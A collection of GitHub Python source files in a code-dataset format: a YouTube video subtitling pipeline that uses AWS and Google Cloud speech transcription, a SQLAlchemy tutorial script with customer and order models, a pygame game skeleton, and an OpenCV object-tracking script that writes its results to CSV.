}\n json_job_str = json.dumps(job_obj, sort_keys=True)\n if not dry_run:\n with open('job-start-command.json', 'wb') as f:\n f.write(json_job_str.encode('utf-8'))\n f.write(b'\\n')\n else:\n print('echo \\'{json_job_str}\\' > job-start-command.json'.format(json_job_str=json_job_str))\n _resp = mysystem([\n 'python3',\n '-m',\n 'awscli',\n 'transcribe',\n 'start-transcription-job',\n '--cli-input-json',\n 'file://job-start-command.json',\n '--region',\n region,\n ])\n return\n # end def startAwsTranscriptJob\n\n\ndef waitForAwsTranscriptions(region: str, dry_run: bool) -> None:\n for _ in range(200):\n # Note: `--status IN_PROGRESS` is optional\n res = mysystem2(dry_run, [\n 'python3',\n '-m',\n 'awscli',\n 'transcribe',\n 'list-transcription-jobs',\n '--status',\n 'IN_PROGRESS',\n '--region',\n region,\n ])\n try:\n obj = json.loads(res if res is not None else '')\n except Exception as e:\n print('aws list-transcription-jobs failed: %s: %s' % (type(e).__name__, str(e)))\n break\n try:\n if len(obj['TranscriptionJobSummaries']) == 0:\n break\n except Exception as e:\n print('aws list response was weird: %s: %s' % (type(e).__name__, str(e)))\n break\n time.sleep(3)\n return\n\n\ndef downloadAwsTranscriptions(\n job_id: str,\n region: str,\n video_id: str,\n dry_run: bool,\n) -> None:\n # TODO split into two commands\n command = 'curl -o data/outputs/aws_{video_id}.json \"$(python3 -m awscli transcribe get-transcription-job --region {region} --transcription-job-name {job_id} | jq -r .TranscriptionJob.Transcript.TranscriptFileUri)\"'.format(\n job_id=job_id,\n region=region,\n video_id=video_id\n )\n if dry_run:\n print(command)\n else:\n _resp = os.system(command)\n return\n\n\ndef output2tsv(video_id: str, dry_run: bool) -> None:\n # jq -Cc '.results.items[]' output.json | head\n # jq -cr '.results.items[] | select(.start_time != null) | [.start_time, .end_time, .alternatives[0].content] | @tsv' output.json | head\n # jq -cr '.results.items[] | select(.start_time != null) | [.start_time, .end_time, ((.end_time | tonumber) - (.start_time | tonumber)), (.alternatives[0].content | ascii_downcase)] | @tsv' output.json\n # then pipe to `mlr --itsvlite --otsv label start,end,duration,content then stats1 -a count,sum,mean,min,p25,p50,p75,max -f duration | transpose`\n # where transpose is an alias for:\n # `python3 -c 'from __future__ import (division, print_function); import sys; rows = [line.rstrip(\"\\n\").split(\"\\t\") for line in sys.stdin]; nrows = len(rows); assert nrows > 0, \"Expected at least one row in input\"; ncols = len(rows[0]); cols = [[rows[i][j] if j < len(rows[i]) else \"\" for i in range(nrows)] for j in range(ncols)]; print(\"\\n\".join([\"\\t\".join(col) for col in cols]));'`\n # or pipe to `mlr --itsvlite --otsv label start,end,duration,content then filter '$duration > 0.3'`\n #\n # -c is for compact output\n # -r is for \"raw\" output\n command = 'jq -cr \\'.results.items[] | select(.start_time != null) | [.start_time, ((.end_time | tonumber) - (.start_time | tonumber)), (.alternatives[0].content | ascii_downcase)] | @tsv\\' data/outputs/aws_{video_id}.json > data/tsvs/aws_{video_id}.tsv'.format(\n video_id=video_id\n )\n if not dry_run:\n results = []\n with open('data/outputs/aws_{video_id}.json'.format(video_id=video_id), 'rb') as in_f:\n j_obj = json.loads(in_f.read().decode('utf-8'))\n for item in j_obj['results']['items']:\n if 'start_time' not in item:\n continue\n results.append((\n item['start_time'],\n float(item['end_time']) - float(item['start_time']),\n item['alternatives'][0]['content'].lower()\n ))\n with open('data/tsvs/aws_{video_id}.tsv'.format(video_id=video_id), 'wb') as out_f:\n for item in results:\n out_f.write('{start}\\t{duration:0.3f}\\t{content}\\n'.format(\n start=item[0],\n duration=item[1],\n content=normalizeTextContent(item[2])\n ).encode('utf-8'))\n else:\n print(command)\n _resp = os.system(command)\n return\n # end def output2tsv\n\n\ndef uploadAudioToGcp(bucket: str, video_id: str, dry_run: bool) -> None:\n mysystem = lambda command: mysystem_wrapper(dry_run, command)\n # Result should be https://console.cloud.google.com/storage/browser/subtitler2?forceOnBucketsSortingFiltering=false&authuser=1&project=emerald-cacao-282303\n audio_format = 'data/audios/{video_id}.wav'\n if spleeter is not None:\n # TODO figure out how to pass multi channel to GCP\n audio_format = 'data/audios/{video_id}/vocals_left.wav'\n audio_file = audio_format.format(video_id=video_id)\n _resp = mysystem([\n 'gsutil',\n 'cp',\n audio_file,\n 'gs://{bucket}/{video_id}.wav'.format(bucket=bucket, video_id=video_id),\n ])\n return\n\n\ndef startGcpTranscriptJob(\n lang: str,\n bucket: str,\n video_id: str,\n dry_run: bool,\n) -> Optional[str]:\n mysystem = lambda command: mysystem2(dry_run, command)\n command = [\n 'gcloud',\n 'ml',\n 'speech',\n 'recognize-long-running',\n '--include-word-time-offsets',\n '--async',\n '--language-code={lang}'.format(lang=lang),\n 'gs://{bucket}/{video_id}.wav'.format(bucket=bucket, video_id=video_id),\n ]\n print(\" \".join(command))\n resp = mysystem(command)\n if resp is None:\n print('empty gcloud response!', file=sys.stderr)\n return None\n print('gcloud response!')\n print(resp)\n return json.loads(resp)['name']\n # end def startGcpTranscriptJob\n\n\ndef waitForGcpTranscriptions(\n video_id: str,\n job_id: Optional[str],\n dry_run: bool,\n) -> Optional[str]:\n if job_id is None:\n dry_run = True\n mysystem = lambda command: mysystem2(dry_run, command)\n command = [\n 'gcloud',\n 'ml',\n 'speech',\n 'operations',\n 'wait',\n job_id if job_id is not None else 'null_job_id',\n ]\n print(\" \".join(command))\n resp = mysystem(command)\n if resp is None:\n print('No transcription from google!', file=sys.stderr)\n return None\n print('gcloud response!')\n print(resp)\n # similar to output2tsv\n with open('data/outputs/gcp_{video_id}.tsv'.format(video_id=video_id), 'wb') as f:\n f.write(resp.encode('utf-8'))\n obj = json.loads(resp)\n with open('data/tsvs/gcp_{video_id}.tsv'.format(video_id=video_id), 'wb') as f:\n # Kinda like `jq '.results[] | .alternatives[] | .words'`\n for thing in obj['results']:\n for other in thing['alternatives']:\n for word in other['words']:\n # [:-1] cause google appends an \"s\" to all their times\n f.write((\"\\t\".join([\n word['startTime'][:-1],\n '%.3f' % (float(word['endTime'][:-1]) - float(word['startTime'][:-1])),\n word['word'],\n ])).encode('utf-8'))\n f.write(b'\\n')\n return None\n # end def waitForGcpTranscriptions\n\n\ndef alignLyricFile(video_id: str, lyric_file: str, dry_run: bool) -> None:\n if dry_run:\n print('python3 align_lyrics.py data/tsvs/aws_{video_id}.tsv {lyric_file}'.format(\n lyric_file=lyric_file,\n video_id=video_id\n ))\n return\n if not os.path.isfile(lyric_file):\n print('Lyrics for {lyric_file} don\\'t exist'.format(lyric_file=lyric_file), file=sys.stderr)\n return\n # TODO call alignLyrics('data/tsvs/aws_{video_id}.tsv'.format(video_id=video_id), lyric_file)\n transcribed = []\n with open('data/tsvs/aws_{video_id}.tsv'.format(video_id=video_id), 'rb') as in_f:\n for line in in_f:\n cols = line.decode('utf-8').rstrip('\\n').split('\\t')\n start = float(cols[0])\n duration = float(cols[1])\n text = cols[2]\n transcribed.append((start, duration, text))\n lyrics = []\n with open(lyric_file, 'rb') as in_f:\n for line in in_f:\n pass\n return\n\n\ndef formatTsvAsSrt(video_id: str, dry_run: bool) -> str:\n tsv_file = 'data/tsvs/aws_{video_id}.tsv'.format(video_id=video_id)\n srt_file = 'data/subtitles/{video_id}.srt'.format(video_id=video_id)\n if dry_run:\n ok = True\n print('python3 tsv2srt.py {tsv_file} {srt_file}'.format(\n tsv_file=tsv_file,\n srt_file=srt_file\n ))\n else:\n ok = tsv2srt(tsv_file, srt_file)\n if not ok:\n print('Failed to convert tsv to srt')\n return srt_file\n\n\ndef addSrtToVideo(\n video_file: str,\n file_name: str,\n srt_file: str,\n dry_run: bool,\n) -> None:\n mysystem = lambda command: mysystem_wrapper(dry_run, command)\n _resp = mysystem([\n 'ffmpeg',\n '-n',\n '-i',\n 'data/downloads/{video_file}'.format(video_file=video_file),\n '-i',\n srt_file,\n '-s',\n '720x480',\n '-c:s',\n 'mov_text',\n 'data/final/{filename}.mp4'.format(filename=file_name),\n ])\n return\n\n\ndef evalModel(video_id: str, model_file: str, dry_run: bool) -> None:\n audio_format = 'data/audios/{video_id}.wav'\n if spleeter is not None:\n # TODO figure out how to pass multi channel to GCP\n audio_format = 'data/audios/{video_id}/vocals_left.wav'\n out_file = 'data/tsvs/predicted_{video_id}.tsv'.format(video_id=video_id)\n with open(out_file, 'wb') as f:\n _resp = mysystem_wrapper(\n dry_run,\n [\n 'python3',\n 'eval.py',\n model_file,\n video_id,\n ],\n f\n )\n return\n\n\ndef gen_subtitles(\n url: str,\n file_name: str,\n lang: str,\n lyric_file: Optional[str],\n model_file: Optional[str],\n aws_bucket: Optional[str],\n aws_region: Optional[str],\n gcp_bucket: Optional[str],\n dry_run: bool,\n) -> None:\n job_id = urandom5()\n video_id = youtubeVideoID(url)\n print('Running job_id: {job_id}'.format(job_id=job_id))\n\n if not dry_run:\n with open('data/video_ids/{video_id}.json'.format(video_id=video_id), 'wb') as f:\n f.write(json.dumps({'job_id': job_id, 'video_name': file_name}, sort_keys=True).encode('utf-8'))\n f.write(b'\\n')\n with open('data/video_names/{filename}.json'.format(filename=file_name), 'wb') as f:\n f.write(json.dumps({'job_id': job_id, 'video_id': video_id}, sort_keys=True).encode('utf-8'))\n f.write(b'\\n')\n\n video_file = downloadVideo(url, video_id, dry_run)\n extractAudio(video_file, video_id, dry_run)\n maybeSpleeter(video_id, dry_run)\n if aws_bucket is not None:\n assert aws_region is not None, 'aws_bucket specified without aws_region'\n uploadAudioToAws(aws_bucket, video_id, dry_run)\n startAwsTranscriptJob(job_id, lang, aws_bucket, video_id, aws_region, dry_run)\n if gcp_bucket is not None:\n uploadAudioToGcp(gcp_bucket, video_id, dry_run)\n gcp_job_id = startGcpTranscriptJob(lang, gcp_bucket, video_id, dry_run)\n\n if model_file is not None:\n evalModel(video_id, model_file, dry_run)\n if aws_bucket is not None:\n waitForAwsTranscriptions(aws_region, dry_run)\n downloadAwsTranscriptions(job_id, aws_region, video_id, dry_run)\n # `output2tsv` calls `normalizeTextContent`, which lowercases and transliterates\n output2tsv(video_id, dry_run)\n if gcp_bucket is not None:\n waitForGcpTranscriptions(video_id, gcp_job_id, dry_run)\n\n if lyric_file is not None:\n alignLyricFile(video_id, lyric_file, dry_run)\n else:\n print('No lyric file', file=sys.stderr)\n\n # TODO join aws data/outputs/aws_{video_id}.json, model eval output, and lyrics file\n srt_file = formatTsvAsSrt(video_id, dry_run)\n addSrtToVideo(video_file, file_name, srt_file, dry_run)\n\n return\n # end def gen_subtitles\n\n\n# `aws configure list` should show an access key and secret key. Else try\n# https://console.aws.amazon.com/iam/home?region=us-east-2#/users/test-user1?section=security_credentials\n\ndef main() -> None:\n \"\"\"\n Dependencies:\n * youtube-dl\n * ffmpeg\n * awscli, version >= 1.18 (probably install via pip and export PATH=$PATH:~/.local/bin)\n * jq\n \"\"\"\n parser = argparse.ArgumentParser('Download and transcribe a video from youtube')\n parser.add_argument('video_url')\n parser.add_argument('temp_video_file')\n parser.add_argument('language')\n parser.add_argument('lyrics_file', nargs='?', default=None)\n parser.add_argument('--model', help='The model file to pass to eval.py')\n parser.add_argument('--aws_bucket', help='The name of the AWS S3 bucket to use')\n parser.add_argument('--aws_region', help='The name of the AWS region to use')\n parser.add_argument('--gcp_bucket', help='The name of the GCP storage bucket to use')\n parser.add_argument('--dry-run', action='store_true', help='Only print commands ' +\n 'that would have run')\n args = parser.parse_args()\n\n language = args.language.lower()\n assert language in ['english', 'hindi', 'hindi-en']\n lang = 'en-US'\n if language == 'hindi':\n lang = 'hi-IN'\n elif language == 'hindi-en':\n lang = 'en-IN'\n\n gen_subtitles(\n args.video_url,\n args.temp_video_file,\n lang,\n args.lyrics_file,\n args.model,\n args.aws_bucket,\n args.aws_region,\n args.gcp_bucket,\n args.dry_run\n )\n return\n # end def main\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"tpott/pub_musings","sub_path":"subtitler/subtitler.py","file_name":"subtitler.py","file_ext":"py","file_size_in_byte":17874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"19551310952","text":"from sqlalchemy import Column, ForeignKey, Integer, String\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship, Session\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom pprint import pprint\n\n\n\n# Create an engine that stores data in the local directory's\n# sqlalchemy_example.db file.\nengine = create_engine('sqlite:////web/Sqlite-Data/example3.db')\n\n\nBase = declarative_base()\n\n\nclass Customer(Base):\n __tablename__ = 'customers'\n\n id = Column(Integer(), primary_key=True)\n first_name = Column(String(100), nullable=False)\n last_name = Column(String(100), nullable=False)\n username = Column(String(50), nullable=False)\n email = Column(String(200), nullable=False)\n address = Column(String(200), nullable=False)\n town = Column(String(50), nullable=False)\n created_on = Column(DateTime(), default=datetime.now)\n updated_on = Column(DateTime(), default=datetime.now, onupdate=datetime.now)\n orders = relationship(\"Order\", backref='customer')\n\nclass OrderLine(Base):\n __tablename__ = 'order_lines'\n id = Column(Integer(), primary_key=True)\n order_id = Column(Integer(), ForeignKey('orders.id'))\n item_id = Column(Integer(), ForeignKey('items.id'))\n quantity = Column(Integer())\n order = relationship(\"Order\", backref='order_lines')\n item = relationship(\"Item\")\n\n\nclass Order(Base):\n __tablename__ = 'orders'\n id = Column(Integer(), primary_key=True)\n customer_id = Column(Integer(), ForeignKey('customers.id'))\n date_placed = Column(DateTime(), default=datetime.now, nullable=False)\n date_shipped = Column(DateTime())\n\nclass Item(Base):\n __tablename__ = 'items'\n id = Column(Integer(), primary_key=True)\n name = Column(String(200), nullable=False)\n cost_price = Column(Numeric(10, 2), nullable=False)\n selling_price = Column(Numeric(10, 2), nullable=False)\n quantity = Column(Integer(), nullable=False)\n\nclass Address(Base):\n __tablename__ = 'address'\n # Here we define columns for the table address.\n # Notice that each column is also a normal Python instance attribute.\n id = Column(Integer, primary_key=True)\n street_name = Column(String(250))\n street_number = Column(String(250))\n post_code = Column(String(250), nullable=False)\n person_id = Column(Integer, ForeignKey('person.id'))\n person = relationship(\"Person\", backref=\"addresses\")\n\ndef dispatch_order(order_id):\n # check whether order_id is valid or not\n order = session.query(Order).get(order_id)\n\n if not order:\n raise ValueError(\"Invalid order id: {}.\".format(order_id))\n\n if order.date_shipped:\n print(\"Order already shipped.\")\n return\n\n try:\n for i in order.order_lines:\n i.item.quantity = i.item.quantity - i.quantity\n\n order.date_shipped = datetime.now()\n session.commit()\n print(\"Transaction completed.\")\n\n except IntegrityError as e:\n print(e)\n print(\"Rolling back ...\")\n session.rollback()\n print(\"Transaction failed.\")\n\nBase.metadata.create_all(engine)\n\nSession = sessionmaker(bind=engine)\nsession = Session()\n\nc1 = Customer(first_name='Toby',\n last_name='Miller',\n username='tmiller',\n email='tmiller@example.com',\n address='1662 Kinney Street',\n town='Wolfden'\n )\n\nc2 = Customer(first_name='Scott',\n last_name='Harvey',\n username='scottharvey',\n email='scottharvey@example.com',\n address='424 Patterson Street',\n town='Beckinsdale'\n )\n\nsession.add(c1)\nsession.add(c2)\nsession.new\nsession.commit()\n\nc3 = Customer(\n first_name=\"John\",\n last_name=\"Lara\",\n username=\"johnlara\",\n email=\"johnlara@mail.com\",\n address=\"3073 Derek Drive\",\n town=\"Norfolk\"\n)\n\nc4 = Customer(\n first_name=\"Sarah\",\n last_name=\"Tomlin\",\n username=\"sarahtomlin\",\n email=\"sarahtomlin@mail.com\",\n address=\"3572 Poplar Avenue\",\n town=\"Norfolk\"\n)\n\nc5 = Customer(first_name='Toby',\n last_name='Miller',\n username='tmiller',\n email='tmiller@example.com',\n address='1662 Kinney Street',\n town='Wolfden'\n )\n\nc6 = Customer(first_name='Scott',\n last_name='Harvey',\n username='scottharvey',\n email='scottharvey@example.com',\n address='424 Patterson Street',\n town='Beckinsdale'\n )\n\nsession.add_all([c3, c4, c5, c6])\nsession.commit()\n\ni1 = Item(name='Chair', cost_price=9.21, selling_price=10.81, quantity=5)\ni2 = Item(name='Pen', cost_price=3.45, selling_price=4.51, quantity=3)\ni3 = Item(name='Headphone', cost_price=15.52, selling_price=16.81, quantity=50)\ni4 = Item(name='Travel Bag', cost_price=20.1, selling_price=24.21, quantity=50)\ni5 = Item(name='Keyboard', cost_price=20.1, selling_price=22.11, quantity=50)\ni6 = Item(name='Monitor', cost_price=200.14, selling_price=212.89, quantity=50)\ni7 = Item(name='Watch', cost_price=100.58, selling_price=104.41, quantity=50)\ni8 = Item(name='Water Bottle', cost_price=20.89, selling_price=25, quantity=50)\n\nsession.add_all([i1, i2, i3, i4, i5, i6, i7, i8])\nsession.commit()\n\no1 = Order(customer=c1)\no2 = Order(customer=c1)\n\nline_item1 = OrderLine(order=o1, item=i1, quantity=3)\nline_item2 = OrderLine(order=o1, item=i2, quantity=2)\nline_item3 = OrderLine(order=o2, item=i1, quantity=1)\nline_item3 = OrderLine(order=o2, item=i2, quantity=4)\n\nsession.add_all([o1, o2])\n\nsession.new\nsession.commit()\n\no3 = Order(customer=c1)\norderline1 = OrderLine(item=i1, quantity=5)\norderline2 = OrderLine(item=i2, quantity=10)\n\no3.order_lines.append(orderline1)\no3.order_lines.append(orderline2)\n\nsession.add_all([o3])\n\nsession.commit()\n\nfor ol in c1.orders[0].order_lines:\n ol.id, ol.item, ol.quantity\n\nprint('-------')\n\nfor ol in c1.orders[1].order_lines:\n ol.id, ol.item, ol.quantity\n \n\nsession.query(Item).filter(Item.name.ilike(\"wa%\")).all()\nsession.query(Item).filter(Item.name.ilike(\"wa%\")).order_by(Item.cost_price).all()\n\n# descending order\nsession.query(Item).filter(Item.name.ilike(\"wa%\")).order_by(desc(Item.cost_price)).all()\n\nsession.query(Customer).join(Order).all()\n\n# print(session.query(Customer).join(Order))\n\nsession.query(Customer.id, Customer.username, Order.id).join(Order).all()\n\n# find all customers who either live in Peterbrugh or Norfolk\n\nsession.query(Customer).filter(or_(\n Customer.town == 'Peterbrugh',\n Customer.town == 'Norfolk'\n)).all()\n\n# find all customers whose first name is John and live in Norfolk\n\nsession.query(Customer).filter(and_(\n Customer.first_name == 'John',\n Customer.town == 'Norfolk'\n)).all()\n\n# find all johns who don't live in Peterbrugh\n\nsession.query(Customer).filter(and_(\n Customer.first_name == 'John',\n not_(\n Customer.town == 'Peterbrugh',\n )\n)).all()\n\nsession.query(Order).filter(Order.date_shipped == None).all()\nsession.query(Order).filter(Order.date_shipped != None).all()\nsession.query(Customer).filter(Customer.first_name.in_(['Toby', 'Sarah'])).all()\nsession.query(Customer).filter(Customer.first_name.notin_(['Toby', 'Sarah'])).all()\nsession.query(Item).filter(Item.cost_price.between(10, 50)).all()\nsession.query(Item).filter(not_(Item.cost_price.between(10, 50))).all()\nsession.query(Item).filter(Item.name.like(\"%r\")).all()\nsession.query(Item).filter(Item.name.ilike(\"w%\")).all()\nsession.query(Item).filter(not_(Item.name.like(\"W%\"))).all()\nsession.query(Customer).limit(2).all()\nsession.query(Customer).filter(Customer.address.ilike(\"%avenue\")).limit(2).all()\n\n# find the number of customers lives in each town\n\nsession.query(\n func.count(\"*\").label('town_count'),\n Customer.town\n).group_by(Customer.town).having(func.count(\"*\") > 2).all()\n\nsession.query(Customer.town).filter(Customer.id < 10).all()\nsession.query(Customer.town).filter(Customer.id < 10).distinct().all()\n\nsession.query(\n func.count(distinct(Customer.town)),\n func.count(Customer.town)\n).all()\n\ns1 = session.query(Item.id, Item.name).filter(Item.name.like(\"Wa%\"))\ns2 = session.query(Item.id, Item.name).filter(Item.name.like(\"%e%\"))\ns1.union(s2).all()\n\ns1.union_all(s2).all()\n\ni = session.query(Item).get(8)\ni.selling_price = 25.91\nsession.add(i)\nsession.commit()\n\n# update quantity of all quantity of items to 60 whose name starts with 'W'\n\nsession.query(Item).filter(\n Item.name.ilike(\"W%\")\n).update({\"quantity\": 60}, synchronize_session='fetch')\nsession.commit()\n\nsession.query(Customer).filter(text(\"first_name = 'John'\")).all()\n\nsession.query(Customer).filter(text(\"town like 'Nor%'\")).all()\n\nsession.query(Customer).filter(text(\"town like 'Nor%'\")).order_by(text(\"first_name, id desc\")).all()\n\nsession.commit()\n\ndispatch_order(1)\ndispatch_order(2)\n\n\n","repo_name":"FerhatYilmaz1986/calculator","sub_path":"Database/sqlalchemy_test.py","file_name":"sqlalchemy_test.py","file_ext":"py","file_size_in_byte":8854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"73279266993","text":"import pygame #import pygame module\r\nimport random # import random module\r\n\r\n#Predefined Values\r\nwidth = 360\r\nheight = 480\r\nFPS = 30\r\nwhite = (255,255,255)\r\nblack = (0,0,0)\r\nred = (255,0,0)\r\ngreen = (0,255,0)\r\nblue = (0,0,255)\r\n\r\n#Initialize pygame and create a window\r\npygame.init()\r\npygame.mixer.init()\r\nscreen = pygame.display.set_mode(size=(height, width))\r\npygame.display.set_caption(\"Shoot Em Up\")\r\nclock = pygame.time.Clock()\r\nall_sprites = pygame.sprite.Group()\r\n\r\n\r\n#Main game loop\r\nrunning = True\r\nwhile running:\r\n #inputs/events\r\n for event in pygame.event.get():\r\n #checking for closing the game\r\n if event.type == pygame.QUIT:\r\n running = False\r\n #Update\r\n all_sprites.update()\r\n \r\n #draw/render\r\n screen.fill(black)\r\n all_sprites.draw(screen)\r\n \r\n # after drawing everyting flip the display\r\n pygame.display.flip()\r\n \r\npygame.quit()\r\n","repo_name":"jonjonnz/2D-Shooter-using-sprites","sub_path":"GameSkeleton.py","file_name":"GameSkeleton.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"20946366406","text":"import os\r\nfrom encodings.aliases import aliases\r\n\r\nimport cv2\r\n\r\n\r\ndef draw_box_on_image(image_data, box, color=(0, 0, 255), info=False):\r\n left, top, width, height = box\r\n right = left + width\r\n bottom = top + height\r\n point_left_top = (int(left), int(top))\r\n point_right_bottom = (int(right), int(bottom))\r\n processed_image_data = image_data.copy()\r\n cv2.rectangle(img=processed_image_data, pt1=point_left_top, pt2=point_right_bottom, color=color)\r\n if info:\r\n print(box, 'is drawn.')\r\n return processed_image_data\r\n\r\n\r\ndef check_encoding_supported(encoding):\r\n is_supported = False\r\n for key, value in enumerate(aliases.items()):\r\n if encoding in list(value):\r\n is_supported = True\r\n break\r\n return is_supported\r\n\r\n\r\ndef read_file(file_path, text_or_binary='text', encoding='utf_8'):\r\n if not os.path.exists(file_path):\r\n raise ValueError('\"file_path\": file does not exist.')\r\n if text_or_binary == 'text':\r\n read_mode = 'r'\r\n elif text_or_binary == 'binary':\r\n read_mode = 'rb'\r\n else:\r\n raise ValueError('\"text_or_binary\": parameter can be \"text\" or \"binary\".')\r\n if not check_encoding_supported(encoding):\r\n raise ValueError('\"encoding\": unsupported encoding.')\r\n lines = []\r\n with open(file=file_path, mode=read_mode, encoding=encoding) as file:\r\n for line_counter, line in enumerate(file):\r\n lines.append(line)\r\n return lines\r\n\r\n\r\ndef save_file(file_path, lines, text_or_binary='text', encoding='utf_8'):\r\n if not isinstance(lines, list):\r\n raise ValueError('\"lines\": parameter should be a list.')\r\n if text_or_binary == 'text':\r\n write_mode = 'w'\r\n elif text_or_binary == 'binary':\r\n write_mode = 'wb'\r\n else:\r\n raise ValueError('\"text_or_binary\": parameter can be \"text\" or \"binary\".')\r\n if not check_encoding_supported(encoding):\r\n raise ValueError('\"encoding\": unsupported encoding.')\r\n with open(file=file_path, mode=write_mode, encoding=encoding) as file:\r\n for line in lines:\r\n line += '\\n'\r\n file.write(line)\r\n\r\n\r\ndef get_files_in_directory(directory):\r\n files = []\r\n filenames = os.listdir(directory)\r\n for filename in filenames:\r\n file = os.path.join(directory, filename)\r\n files.append(file)\r\n return files\r\n\r\n\r\ndef filter_files_by_extensions(files, file_extensions):\r\n if len(file_extensions) == 0:\r\n return files\r\n filtered_files = []\r\n for file in files:\r\n file_extension = file.split('\\\\')[-1].split('.')[-1]\r\n if file_extension in file_extensions:\r\n filtered_files.append(file)\r\n return filtered_files\r\n\r\n\r\ndef track(sequence_directory, tracker_names, instance_with_templates, image_extension='png',\r\n output_extension='csv', output_separator=',', info=False):\r\n # opencv trackers\r\n opencv_trackers = dict()\r\n opencv_trackers['boosting'] = cv2.TrackerBoosting_create\r\n opencv_trackers['mil'] = cv2.TrackerMIL_create\r\n opencv_trackers['kcf'] = cv2.TrackerKCF_create\r\n opencv_trackers['tld'] = cv2.TrackerTLD_create\r\n opencv_trackers['medianflow'] = cv2.TrackerMedianFlow_create\r\n opencv_trackers['mosse'] = cv2.TrackerMOSSE_create\r\n opencv_trackers['csrt'] = cv2.TrackerCSRT_create\r\n\r\n if not os.path.exists(sequence_directory):\r\n raise ValueError('Path does not exists:', sequence_directory)\r\n\r\n # trackers\r\n trackers = dict()\r\n for tracker_name in tracker_names:\r\n if str(tracker_name) not in opencv_trackers.keys():\r\n raise ValueError('Unsupported OpenCV tracker:', str(tracker_name))\r\n else:\r\n tracker_method = opencv_trackers[tracker_name]\r\n trackers[tracker_name] = tracker_method\r\n\r\n # paths\r\n paths = dict()\r\n parent_directory = os.path.dirname(sequence_directory)\r\n sequence_name = parent_directory.split('\\\\')[-1]\r\n paths['results'] = os.path.join(parent_directory, 'results')\r\n for tracker_name in trackers.keys():\r\n paths['results_' + str(sequence_name) + '_' + str(tracker_name)] = \\\r\n os.path.join(paths['results'], str(sequence_name) + '_' + str(tracker_name))\r\n for path in paths.values():\r\n if not os.path.exists(path):\r\n os.makedirs(path)\r\n\r\n # sequence image paths\r\n file_paths = get_files_in_directory(directory=sequence_directory)\r\n image_paths = filter_files_by_extensions(files=file_paths, file_extensions=[image_extension])\r\n number_of_images = len(image_paths)\r\n\r\n # sequence image path list\r\n frame_with_image_paths = list()\r\n for image_path in image_paths:\r\n image_filename = image_path.split('\\\\')[-1].split('.')[0]\r\n frame_name = int(image_filename.split('_')[-1])\r\n frame_with_image_path = frame_name, image_path\r\n frame_with_image_paths.append(frame_with_image_path)\r\n\r\n # results\r\n trackers_with_instances = dict()\r\n for tracker_name in trackers.keys():\r\n tracker_method = trackers[tracker_name]\r\n trackers_with_instances[tracker_name] = dict()\r\n for instance_name in instance_with_templates.keys():\r\n tracks = list()\r\n tracker = tracker_method()\r\n trackers_with_instances[tracker_name][instance_name] = tracker, tracks\r\n\r\n # info\r\n initialize_info = 'sequence={sequence} tracker={tracker} instance={instance}'\r\n track_info = 'sequence={sequence} tracker={tracker} instance={instance} frame={frame} box={box}'\r\n\r\n # tracking templates\r\n for index in range(number_of_images):\r\n frame_name, image_path = frame_with_image_paths[index]\r\n image_data = cv2.imread(filename=image_path, flags=cv2.IMREAD_COLOR)\r\n if info:\r\n print(image_path, 'is loaded.')\r\n for tracker_name in trackers_with_instances.keys():\r\n for instance_name in trackers_with_instances[tracker_name].keys():\r\n tracker, tracks = trackers_with_instances[tracker_name][instance_name]\r\n if index == 0:\r\n box = instance_with_templates[instance_name]\r\n success = tracker.init(image_data, box)\r\n if info:\r\n success_info_text = 'LOG: initialize' if success else 'ERROR: initialize'\r\n initialize_info_text = initialize_info.format(sequence=sequence_name,\r\n tracker=tracker_name,\r\n instance=instance_name)\r\n print(success_info_text, initialize_info_text)\r\n\r\n else:\r\n success, box = tracker.update(image_data)\r\n if info:\r\n success_info_text = 'LOG: track' if success else 'ERROR: track'\r\n track_info_text = track_info.format(sequence=sequence_name,\r\n tracker=tracker_name,\r\n instance=instance_name,\r\n frame=frame_name,\r\n box=box)\r\n print(success_info_text, track_info_text)\r\n frame_with_box = frame_name, box\r\n tracks.append(frame_with_box)\r\n trackers_with_instances[tracker_name][instance_name] = tracker, tracks\r\n\r\n # generating output files\r\n for tracker_name in trackers_with_instances.keys():\r\n for instance_name in trackers_with_instances[tracker_name].keys():\r\n _, tracks = trackers_with_instances[tracker_name][instance_name]\r\n lines = list()\r\n for instance_track in tracks:\r\n frame_name, box = instance_track\r\n left, top, width, height = box\r\n line = '{frame}{separator}{left}{separator}{top}{separator}{width}{separator}{height}' \\\r\n .format(frame=frame_name, left=left, top=top, width=width,\r\n height=height, separator=output_separator)\r\n lines.append(line)\r\n file_name = str(sequence_name) + \"_\" + str(tracker_name) + '_' + str(instance_name) + '.' + output_extension\r\n file_path = os.path.join(paths['results_' + str(sequence_name) + '_' + str(tracker_name)], file_name)\r\n save_file(file_path=file_path, lines=lines, text_or_binary='text', encoding='utf_8')\r\n if info:\r\n print(file_path, 'is generated.')\r\n\r\n\r\n# main\r\ndef main():\r\n # parameters\r\n info = True\r\n image_extension = 'png'\r\n output_extension = 'csv'\r\n output_separator = ','\r\n\r\n # sequences\r\n sequences = dict()\r\n sequences['sequence_1'] = 'C:\\\\dataset\\\\sequence_1'\r\n sequences['sequence_2'] = 'C:\\\\dataset\\\\sequence_2'\r\n\r\n # trackers\r\n tracker_names = ['boosting', 'mil', 'kcf', 'tld', 'medianflow', 'mosse', 'csrt']\r\n\r\n # initial interpolated bounding boxes\r\n instance_with_templates = dict()\r\n instance_with_templates['1'] = 586.0, 770.0, 25.0, 22.0\r\n instance_with_templates['2'] = 452.0, 585.0, 15.0, 25.0\r\n\r\n # processing sequences\r\n for sequence_name in sequences.keys():\r\n sequence = sequences[sequence_name]\r\n track(sequence_directory=sequence, tracker_names=tracker_names,\r\n instance_with_templates=instance_with_templates, image_extension=image_extension,\r\n output_extension=output_extension, output_separator=output_separator, info=info)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"unvercanunlu/instance-tracking-opencv","sub_path":"opencv_trackers.py","file_name":"opencv_trackers.py","file_ext":"py","file_size_in_byte":9714,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} 